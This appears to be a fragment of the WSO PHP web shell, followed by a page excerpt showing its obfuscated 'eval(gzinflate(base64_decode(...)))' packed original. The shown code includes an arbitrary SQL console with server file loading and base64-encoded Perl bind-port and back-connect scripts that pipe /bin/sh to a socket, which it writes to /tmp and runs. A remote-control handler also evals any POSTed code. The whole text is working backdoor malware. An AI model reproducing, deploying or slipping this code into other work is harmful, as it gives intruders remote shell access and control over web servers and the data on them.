$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect [perl]</span><br/>Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>";
if(isset($_POST['p1'])) {function cf($f,$t) {$w = @fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1'] == 'bpp') {cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'Home';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?>
Did this file decode correctly?
Original Code
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'SyvNSy7JzM9TSMnPSCzLMjA1MTTUUCkuKdJUqObiBAKVRAVbBaWYCjMjIDaMqTA3BtKmMRXGZkBsElNhmgbkm0DEzEBycL6SNcSAJKgB5kDNiUDaEohTgRhogFky1FBkDUWpJaVFeQoqSRoqiRCnaIIlagE='\x29\x29\x29\x3B");eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'NJ3HkqtgtmbH1U9xo+IObgQDvIuOHuARHoSPmuAR3runb7K6eqDIVJ4jBPx7f3stZQr9d/Jf/+e//vmvi0DeG/yvi0Tfr/i/LpR4b9i/Lrz8f/eJ4r39/dvffezvZ//83/+d/uex5Pu45P///L29jyWy/2zvP//3f/3jH/8ojqT7n3ysk6OBcAyG/+efpAXTAb1jVFOZIArsBHnKcLbFNWx9BJoJEqnGldoeFfdGwVDKEKHTB75eTMy1yRJNSLx3Yn03hUupZIocClLRMLj5JtzXcBqzgYqGR47VQoMkBEu99Gd00neEjtA8eTQza3cMDb/ASNtKD9O3+Uxz4X/B6fny47I7NxhiYPKQOoCJgxQgJES9O+8/+a6bWVDWcniaDKlBJc/eGhuZu59/eOIhP3B4lwrd5+kPxL6/DljoGakA+iGWbdbOJnOPO4/BLqAsSO7GyKqmFZW1wwmSLh4y/vZbn4OTHyxNZErg1WJloMLJz3ZF/hrJmRSme7Ckw4YqWpqSDnjTOCKRlo2oeMdaFtowxs93sjkljRLdmKE2N2Lag03UFvSRsxxBvqAmkXX5qDTezPsGapoyoL+6iPjtWQ9oKgtMpu4j2CPlcIv7pzBlbtIdAab1Vpwm6CBquKSbeUk6XE0qOwwIQPKlEdADWKT1PiA++Fmfi+fnyqQFKZ0DOghk905IUoSI43OeKAPLbD6vUhHlKyiz1dno34mfrx4acnn6XIawXXYIqHtJ8bkefjeDPgnJGNFPIX7UuZQEGTIgI6fh0t3P0Otw/hOhcFv0fqjTFapA6Ifwq9rvf7CBwiBPW417AShLf/UcTB8N8Kjh1IjkOZejtRQYXeT5/PT5bBoKk/KNzg7spzBdoa6A3Yy4o99EkVlF3amDCFeeDw5qYVstWVgxOmIv009qdP2ZOUZ5Tzl3l1oR03HdA4YNfuxP14aE7QXCeFQiRGYFjrk3RBlVpNnItTjmaP/C2ZgnWXkAEfzp0BpnDy2RWoB62BlimX+z/arLaMgO9lJpEDCBV1UT5VlcVvCbp8Gm1CmGfXJL3kLRdVWxfnacE6il7cB9ELn0BIyaml+sVH/1ZT6Cskf5EvrGVNyoh/PdY7qAG1pXSQggisejDszybEZdOqUE2DlLeaI9YEIronnMcZjCz26h267rFFAG0z7EaF7wcU1EHULO6h4DK0IrENC+0PYsPEPGFW55v4WVf9H46X+MGp6q5H+AgdT0g64Z6GPzXUejgtA3ItlgXdVsPKFDsr6WSRqcYhjvRZI6uufuLb/x9w+E8XJOi1b4uZlPAZTETfKDLLlXwN5WKzcqmcgwuT6b4uv2uXAoRJ3vlu53iNUaYOAqCEZ0bmXqLk9HczBGRz8ii8+KeezxvZuAqgtocXx0ZQUZ6Uwp17vjLd7GXJAsQVhGe0AIIehFpPmlrIn3AWvhEtPSJsYWPPjJGNA18ROi1SKmGj/KPYlIawAGoyVEl4A59MwThZPNHk918OotbfWRRiOxDu8k8tXCu3oFN2EzAL3YNFlP9CQPjKG2so+5ynPCCzSPoGkxXJeCH6jzQ68GalmYtH6/MujHREbtSdSA06Q1HQzvahftSsA1a+n9PNivt0oaHe0KxKUAxF3ApSDebT3OQO3dUKIuRsApaD3VQoCf4JKSxggQikkotpcUfOB5LVn2FZGFPY3gRSTCLi/53ypLCMa4ZHyNaA3H85nLA0ZRy9gbEW1NUJT6v9nioMzIvj0B90ZPRg6sjLGVFI+mWWmYZfASPYBJsvZUxvHXMB5jITJGtgiQ+dwDI7hqq8cZ5q/DD+1Funckkskn1qOvj30HYIHELAHq7DOEKP6dUAQywcigpU7anseiA7yqrQAfSZNn7rGYMo2UqJGdIRto8wghe2Atzh1KribsKU6yYx//KHCB8hWScFiMB2iaGD+4p2ki7XncgImjIrvWHE80+xB62cl4yRi09+1Aa1XhOa5zbIY4urMsQ1EYaYMTZ++bYgZ5zkaqSpqOHEVlStmDAe/rKsJhpb3D0czh3kTLjJvtwsXPeeTUffyaXFXLX8RJo6CFb0bG1BQf0hEDfYhgoTE6x9E+Qeox8L20BmpJZ7fDvfUng2BvrQpMow/KAHGv9H2a+G1MPnQBbGUOwMC7dvaR8zIn/aK3ng7d19UEXyPSwRf6d/snG4eFBJGGCjQJB+dlgQPzDmPR8bEyWMvsFT7owJOtXOyZB8KUYsfWs2NQwtwsgt+RfI/NXBftNlmE+4F0ZGJOSjFWQPilBzxTxLRab4GAwN1onxnXji/MHdyv+v2uZj6ken03yMof5pzwdGD10YniLhTq0HkMkWEUuSyRzMWD7+H0n0zwpPXAuA/T80pZMKH+SU8VNakcfZ7d1jRg/ax0xAfbsyc17zaf1vIwJ7z89biWsFZffAlDuZQMYAlcZ8ek5RyGjX0HKgfgrh7U96OqyVFrTBGoW8HXyVlPDcgYElQqJZV+PQPgrdhWZ7qZqkG7PWRLEaW/mdqS/A4fOHa+hBPna3pxcwuJ2lbQWMg0fBBqBE34rqi90dXPs5SaGFCy7jeePzBlhb5PKV9AXwbDzNZAiQVUswU1Tg84Mwnswu2PujLrYc8xbrptfa+2tlwqDF0+N83fOZ13/dmh7lN+Ln6zYEZQ2fGHQuW8QJqCRNbKIuSHnq8EQ1u2mdygPwOWpe9fnLfMl5EFDd6FFRlw1poH2GLoSF7Nda3eofp9wpjs5o73xEej3+LLdwPEaOlrw/l1RVMxIL3PXh/fkrHBVaPwu54MzRgvA5m/vou4YT3FkwH3Mkdcb1Er04uGmj10O36bkEgWvmKhyRS562t/TJtTnoyavllOpn4D5Jn1dP30/OiCS3niVH/U9+kiMla0gr7Om7eSMMdzkskSjkhuHkhjlm7qbjULo4mbFeyHIPllVfHAEipHbcSoiO5Lu/0EkqfnPYsWM4cEH07iSsWMdJHpn3uxQIafb6SOWgEpr0zmVZYmuS+aoEElaWqLleLvIHXJFSMkfSzhBMbW/jxAIqJWnctQ5nz5YeQz2pOhY6KYek26BP49OSLbth4v51KH/ZQ2gDhNrq1/SFmIAghpINBMD+XCAPfgxeArVlBulwGLuVwVfSQWlY3s5KDj+G09EueTJBfRj3AWbcPEcifpFNRhKjHdwjquAJSQulCyY6uJoOvpR5mpzwSFyFkQt5+nCyaXPysQaK5Qy99IPKvESwILKAR+iLX93emePiiECt/8frbt+Gj5Q8dbEMwA0nV7EaM9ssfuIWKjMvE/KXUVPrJGfB9LA6m8t/972blhmSMUbFfknQATMk5Mj5QTSkY46tDcNLdnwRXVXSPB5ch+svApv7L3S3cyg1nfUUNqmDi77riD3qEnYykfdN8Z5t8HieKki4MoccdscgARR3bJaM1nzfdEuwnFoeJeJHRiU78kCenRZ8KZUvme1KerraoXi+dBh5maGVlXZaZrqOL3USt55C6DY9iISKepWJlIU2eMHc6evRV52QfilKn+FYR4k8YtH35YWd+cLREuQxDhfuoqs4fd1MNo+rJS4qn2LL+oDWoTuhePhyZUOHdZyZNx0YaV7RSRAZdRqUGnj18pZvy+SM+q5PK79X5AP18aJZDThVleAyLQcrV8Q1gIzO4i+PnD7PmnVPDoDUbuuZ1Ofs418BF5eurgRf8pL1WMOdzRo46U9m5TA306TESsEN2Yd27bRXYYysheL32xU8Agstbgc2of0rzjJseUYXVNsHxNw6eeCZ08sxKnXKoS91Sgzd6U2mCn2DIGsPTghP5t1eLhmQXlY6TB/Y+JVv1x+7K/nqxBy3psdVfmvSHTzwjms0fqeazmS8tSjgFBOiW4VaL3pI9tNroD3OG3lL67dqyNZsV61eyju/m3GAtqnF/iwDBOX+mgxKgAi1j6kczS3THq85auW6kLauLQqOoaGGZR3nNrj4fW9Pk1NNx9eIfYHzTlMJRzJVEYlFVuIWbRyX6MI6SnqAM/DLxXOkCdzo8zj5kb9jeECS3Mju7oR9kPXho1+Rls1nYo8eRzLPc6E7OburbrCLCASct2iLqOjh9EocfVYzjFnXE/xHJo5AZQf0Pl4Hs95q9tKvQ4TS3KHMhI7sdsMSb4dV8EuWjNzJ1VCSiC+Dq1mxNNg4mSr1mGrd5tcwsJ3t5iFzGPGWvN6aiqnxkH2jg1lqUdAQsQnL/2y5B8f2q5QwnuPXi2HI9VwNcFGUp6lz0Tx9Ds+++ll7EsO/o+Ai3DfRLdO+3GeBCTeYSib3uN9/PgzeoqXhT4sOF+P0rqXfR3U+YipM/Sd3u4pb4VvIUOqatz+xXaLY6rysmCmPLZb7KKyRHLb25KHi2qzEXUv0//8pVfKS6nR178GZrfSu5dTFoaTrHOlIv1p1S9o4KgFUB6ZVfY2zriN2u4G99Vn/lySNd2hiC6Mw1vhqYYibkyP0p+MwekYEWz5cPBnQ8GwrUet9i4n+NU34H/mHplCAUj4U2VOXfzYe5qKyRdcaGc+WEIDWvj2RetuLyqFrrfnV8E+zGOdutiK84fmYlR+EkxcN/WCOr3HFqNCsTAxfnZa2l53LJnAFSUBh5ZRE3BjkEi4BsBLmhnxj2/YQ50KZb4Za8eeNtBslqGWU7TA/uybQWOCFghw5EpHU6iZMRVcKIUxY4OAxxCTZm7FbPAxzlpIkO4dUkp7p2uBTML1883xEaut92O4xmgG+JkqDzBnu5LV9kpgnvOBeFNgHIBHyFKP13BySwtP2PSmoWNTd5s8XooXnl4JYZ/vlQ9xYcTSrzJZlCJcwh0TgnJuMcIB4/bKwbgrNpmajTxDgM2dPUMCzgDnOGr1WzwSyuDWIeHTCvbJhLHchKNz51BYQ+Zib9ysUd64HHm9dvJJo+b8TIEye1/FIru+dq/xhbeuJTWNfg1PvkbojmPOtVN0+rWO4XIPfmWBR9Huumkx+6BZCyYXLnFPdZdbUvsxfHV/RohLqCUdUJWKNgfjvRglFdjgQiK7GFU2+YLOH5NEjn7VC6tsral8Cf42Pmt+sH3Pl/D30fjcHg6QZ+Ee5m7GUDyPU/JLzy71AWPIKNFKaFuVJ5bmbRptqnRbUqCDuYECFdu62eiDgsDWGIEq6l0qbXeiCX7HT18TQYBDKd01C08tTAvH3c+9OYpgRJpM/yekD3l2PQWjAuKBOmnQCeDf29Tfpkh5c8DDrqOy6XEf+OlGvmOH2s9lV+wpT0F0l6+70+JqJArlsfDBx9SIk6lbryhkC6kQm8tsPNbIqmlCx4+KrHvnf6a12ip/hd69h5LeAQ7U0mrYu/btgeHCfLNCErh2iKTBWn0w0yLSkFP5w0NEz/aCBYcaBPIUzf2Cf+LhiyVgAm/zJRuwPwbTjBUHFZHWtaU9z6ya+lvN2bVo+OgVF/YCiVY864YoT7NVsj7BgxB0SOLAI5wva8b2Y1pRgZ42kt7gD+Ltt6KEPUkmbF3op1zHs6mjrxgBAZrWwS7mkUz6Q4SSiPr1R4BrHzgNtn7jnlKxdsQDlmctJVb4kq8c13SsdDEwJJ+j1h7Pyg/amw8rs943J9TSw55JH3uKbxSkla6vIv0DpFJntRAzl4muAjsOrOfIYuUHxBzBlxXVy/3dO6z3hGzOY18LQXwnXlyWDsa8TGnWd75Tkp3LyTDUkDVs/vxONANMtF8OXxeaGDxZmAXZVs+jY8M+iGVq2UagDEtnJQ4HkQCbO4KwUtqutQcaVSry1Bj8H3QMlHTkOGY9urLR20ERJ3umNsCZKmfm+nJjZjkPMyEOofdMn8vW+Htpht4OrWA0dGHdkYM0N6OaSs/CPxqabyiBK/tV1Q6qdVhQ+1W3/5l+qHGBu2h/TRQWbnCru4GfnK+wk+ZZoUgYFVBRZR8tkD3gVCH4fW9RmxOP1ly7flHuiBpbwRFTmem8I1iCRJ/YZfcfYW7WUZvH49JceNNvZg40eDwI1Z92qyWXbTwDhEfVfmBQLnj4EGDza3ylk7TVsyOY0Vm92ybSNTrMTn3DGGkqdL1X3H/Dog/ecQUqUV1UORPE1aT3e2W1X8hU+oeBQ61vEbW8xusZPzVJikkCFjmD59t1AkB+H7Ej5hTs8mA4JGDD6GRLY0V6YwIsVwXXMJ2UL55kbnwoSVtHs5x3jsKdcm7PfNaqHALCo3s8Is34VMZk6z9vn5jSBU58myX8+yGeuje8RQSjzagWKpUfR77gMU0QEdrfLwqUfeh/rl7w+1Kq5FsIJYCHNoZN9me4MeaSREbRFg27VUVvyTk1P8CRpI567W4HO61pNyyi+1OBIc8z6GIPo2nVzSz6/qFwTtC3r4w3N97E6k4uOn2id9enPxlfFkV1dSds38pgUPCE4A/btKx+nSFVSB/LJbZKppzS48MqppSgKpTC5ZLvmQD0VaIrvw+O00kcpoNY9jahH6j2kmiScHE5R3weQ4Mnv47w6jVPZSskEQ0fKQKYa10mAdFq/SwO/Cwwn1HGHRgm2B6AJ3zs41sQOWcHnOH23HX7wsxg+r7vO3FDcHvbIWtfRuqt1X9BCgnqUxyjzxNizOwxw1ayrzlfueY6YGxIBZma4u3+kms2z7MR9qXkmbEWViBtgA9dasrmNJXQrx1v9hlueDYlQZ+PkFF/sg22VIkJMIomDvbULe5UsYtJvyDstzqK6cieAmEftOn/aIIVaif/U34zSHO5zSWS1iguto/26xtIeq3afUrcJVjPUAqL3Vaf12UIdPV1KKVzo24J/qFR0Kcf3Te9RTv+9Gf8GuMZ73+4rrGyN0mkm2Cv/v3blXxiwW7dwSxDUifhz72+BlOVob56jf4kM/Tdn+khSCVdElLMUIMrL6tM2HDUZUz8ulS0FvObWno0Bb73vOF/QzcAUOyGppkI5EAZMGCiAxcaZW8DofgHzc+fJj8rjeDfYc4JofHCjbNAXDuPLMp9B4IR/ENqA+WIUFGBS0U2g98BbkYNCl1CMqy7JtMCVEJHyPstnjeDfV+eYvyW2OeCbJdRF618sNzWQM0CEOz3Wda1PKmdv2qBpFv1S/4TQ5VFXkP08wkDg6d9+tRJ0GBgw1jlND9MYCpRuChwrQuj6FcdQMc/Kp+YHXuhoo+yOoNahFGVUkAE7WaWKdqTh9vwLLL09Hn9bOhB3gdkiCot9ZIsi4WCD6I4ycodrzJPEvhpSHfmBUGwDetJUDsLpUyIY/nU+z3PREKkZ4I0HQpPJmRMi+zQuZhgk2HyCoVmHFZzBrZDBGaOCKulEKbwbe8iX/FyqvyevsQ6L3ws20lbb/CVYTOzd2lfc0MLizWsvX9letL1+ngmr/2moTt+rJyy2Nf0fj0UP+rH+exMrXyo7t/m7npFB2rnMBd3YZLmbTtFSJ+iiuRQBFMkC7rcSJEfldqfk+0n2wSypTSP4DumRXSLDNzoBQ65rO+q1Obs6staadtEYqkZ5GRhYbo378HsswThqk84J/hmG8U+nJv8D9MweOMGECbDafpN4k+qdkYTPJyEp6vaBkmH+usoVk0JMONW3urgEQZhV41kbIPHRU5X8bsQsn2gZZoy2JCMgWZK6Yc33BVn373sHNik2BmS9UcqoU8I/myUZjGZPm4Y2rysA/6lRYZ7MrcT+0zf4qm3vO9I5/HnQrSOJad46xkAi3gFyXYQUSfsDdn8qJWx9EaPqTVhteZsDhMAPOEyGEuO07idzg7iVpEH7eNqO85+ywLZp5UDHx6e7REtYm6ODEumizm+mcJmP2rRrl4RKgFrgPQzHD7ezmL1uu1hoMPzionEZyrxQcGE6mf/g0WFXMywSELWRC9Ot2Kmp5pwqesjs6CYUY78f0qYvvRdcVdFwF10EmgATgF7jQA+CZwy2BCIVuHRsCAf1FMhmoQODz0iycBISXX40YsEsoE74Cf5+zwzbSyNmBaN+x+Jllw9NhIdjdpuoW513eirGzFSKMRiaAVPVm1BKoJR1fzgjGmzdcW5UhHasR1Yn2j2WWscXkLBHl/8sBPSSzPP4QEBeWq4gawpC8roIaffFxGnjYwRlsAEm/Jffp5RjRPi2J5ub4UXPaDa1ojbrwmojsjXpRkQLBYj+xlAzM5cTqLrob+xiRjZHA/YluGwUEFB3C5oI8b0fNdGs8w9bSlFuGJW88EGXMkwc9cBoo2hP9w3AkYV5tytZLFYDADVgDch+OTl5NTDuiYKFpaabKVq0MzdFRBpi66HHMSMRUz1zoL+y97FVKqCZRzImj6uqNMkZBaZMQFPlEKTd5PmC3f5rMigMEIXb+HazS0lHcTBXp8FQUijo4nEgXmMouXeqAfMOTq3fjwgvlFJuGlqUj/odD1Q0Lei1IX8C3jwgTooSynfARxvw1OIgwtnsDTMZCr6N0AMi5vBMrrbpKm7UjnHZjPikpttmrjemvN9P18GSpsjINLcvqmjPNbhE1masruKMm3CYEyNYEtDH5lnHkntpV7+nriPPt0yT+Em/h4jGw6+71DgP92qykabanRIitD22K8gyIRFXicnHr7AVo/P6nRt1iUzZLu/IA51EQhCRQta7uUQ0xUUaAi7070x7f08+FPAZ2WbmruBKtvC6l13BEI3e5oLdRZ9nuu+veIai36PlifKaM+IN9w1CUrOzGREOmJR92zZbYXDQPicrcadtnFckaA+5ryNSuqsm9PeXGijQvCN13r6s0xJQ2Kiq8X59jqkWk9j9YNP3OSfOE/TNvptUH/fiUhqj9doa56324A/g2Rf+2RDbsxGQ0Dh4ouRDoTSYQvJTTDxZ9UglLXppc60ddW5G7p+D618eNLov85SRkwKVqHE1cBh4tR1HAnViMungyo8djk+H6mzXiIYQ+IUS7NaKSqi5tEo9QP4O+Fv1eRHmgN4K8DzEpTzrxzIxBnX8YhCgZCJJXYUvUp85IVrj3n6CDStPwQQGUa44UcACEtpxZX3Dtm+15Zk681mRbj1B2pFH52vfEIXZ66xoxw3Byie4KujSKXuKFTCL4Q/9aslmHHE+oixkDaSDHdctRZwRRZ65MvWlFDqE2JJXqdeMCSsNch2UIQPEpYY22SIoRyB14xW8lG/4Dw/pHiCJZ3h+/LNdQyrm7PI8OntdSI5dWt/OcIrddF6a8gPLVA1Ae/3xq8foai7OfwabtOgb7fnprkj9OGWZoe+mMgDi6eqIjZK87+eixF5JDR9GXIKUVGFFuOZF39BECEQx8AXTZUGdncsJjjtYbfxpkwZefWony3Z34yT/hygFyKTjy/1BYwzBVUz6VJuvseLnAMMWB3C4535dJjVB3eLrx5XDTZtd9ngrAnTwy21bnre4jDxwTwhWUTX7zvHyLgG+nUaKV9oEfdrTzbNwZna++ignuKI7ksjU9mZB+fzhotAAPUyORLiJBWD2C+baJlNTykeGF2vF56jgcC8QNOBvNd3qJdyGE19xSMJ0KbhiB0kkA4qwPiaZZ37GXt6BjjPuMFLuF8rg9OwoXDjdJWaogyM1mArhKA+JlFs/611fcQ6KvQdTteKuJIpCG/9QlRzlrV9CRc2DIocUDH6LmY21ZG8rd6WGCsOgc8vBFEZw+9+hiEEe/vVqJ4Cza58+/bvnzAz+aAqzceT3uXj6yG2HPDUNprkItzsAykw/UB9K2IFQ7NfFXQLaXljoHJBXpQ6QZD3qqkABq7DqKRnGyKQPc3JA034RqayHT69fr9q3PNx8mGK/VONSHxHBUzkSqbvanw5RhELpQN8S7FzeHl7fuzuVy5XkQabLJR76C3+jjkSDGwXAoOZayDpTtCteyLLxWT6pAMrIvO/8yiGyLaAj7UOKIhjgqZHTNoza5nu/im+KpCQ9lTHdi/VYFDNBB29QuGRMdBMblt6gspZ/hd0h8BZTatxg9qzCvRXlR4+k9TWSxpKdkHkeHQG00UH8XIexvHO7NmZ/OVSc26jqOm+R5i/eTDj51SnQiBoWq4+zHHV6qIZF91k85GwflI2lJZjo4pavW0htBayCqBOiXE+4krkm3Xs9dyLKkNuolRIvqjvvsWKO/Zw+Io6TK+Kd4+jLq0cW30yTRowpTERSq4krdqNBHP5HorIeafqL90FAGL7umx2zr8xZVX6CmB3Ov5/CR6OfpxHxFUyNKwJKKi8rj19iVrdeuUqQ9VBW/cY/TpYJV/bqZbV/10F1tN0nQaVPnBrjsYahud/EqsFA+iuYxV5jhjZmBXCERKk5IRim/1bqfmlWYO2N4MjDrc6yqihXCTLpzIZ81qjQCvbmcPCZxCm54OeDCGe8N0PeO30AKctIgWmwGSgAnzzvW21YARrnQ9k9Q7/y58bBG4akQjIbJPytZt3MTcp4rPF05qpTkKE4nI8Uv0+763iTSW15zshPmTZzUPgVeA2Hn/odcdQ7HzKalaTxtGFKCkkhB801+MqFtOQOC+VfJLf01mh5W7MKPLZIWjlZhiz4f4Pq2rECmAY+JvbWcRY/D5b4aI8t1l3qeMAialpVO9GFa7/ZceTPN+XzY/d4YzZF/aGsV+Lp8JP20ec/43g+b3bmLf1OKX6JH5RLYmKn9YfzqEscz+F5A/twghEMXtbkR7Ur5dBI8b6epAIk1Xj22lIQQVWcMGX2trvu1eiIqjMh4PlabNuZpU5Hd1CDeGn5d/9EorW14iTEIRjZ9J3ab1AqCqCB4qx7fYYMUOmA5pCrvmOjkzUeirZMHNBIYrGXbBdvDW3CBWCJONqTmvJJkbAhR0z9T20ZVW+FyVokPhGbDmUI9TyCFNFAkPB563WqFc/UGgI6WH0SNpu7Nz/kTTb04XotcemEI8WJuh7AjT/HYTIghw/LfaMCjYF5k1RxQMaoJYQ0+2HTOdh50mKg5gKj2H2dEy9mRyOloETMxW+KXiGSrqxoLhtR548B92Fo5IaF/dvJ+9r9bP1C9BqNNcLU+oyr7roU9VMSDLb6drPkCbjc5n+ledunbNW/OEvD8iusDn5KS0ZG40R0SPBZqgKboLPm0ismIkbiyEY0LRqTKUnwJTBKpHZ05CCGfti70Vjfh+Xe96UvzwrioWIUC1yugmmqjlDwTFAEutQzsUdszBDgQiEUV8D8iZ0Gk20bSFc7ODRdBXReGzEvWo+6cvEtxJ+k05oqyxv/MFeYuY5Kuyy8olB9LEYM+ftD8PayEaPC0iDThykfxY5ntNKkXXXsKr3+Lu3GDGsIlwqDuYGgr46jB+ta3dmmbgPywzAECCxuM4lTsvqHh5ilo0zQPJxh837Ou1vdhhOl7Hc1a7Z5TJ7leK7HtwPB+5whv+8zTz9pVe/+yEppW7D9beB7P7J8uKGkNm+QUMXiFWIDQzbIOBXW1Gt6Yi1txUBnOGZRh7CWwIuDYFLufjb9D5kGPPX6vOba+EOkCyRkB/Uqpsf4OjUm/iMaYa60LN7V/iI99hJ/B2OFD3b5QymUcSWr8rRjrWIZQlzc3Ces3fKUWNAuhHZAuDP0rjgZRpaeYGImG4xwa1Oy9FlbtOC87w6TmhDNZGORQLQnTago9q3arxIdKLguSNPUy630dpV1zDet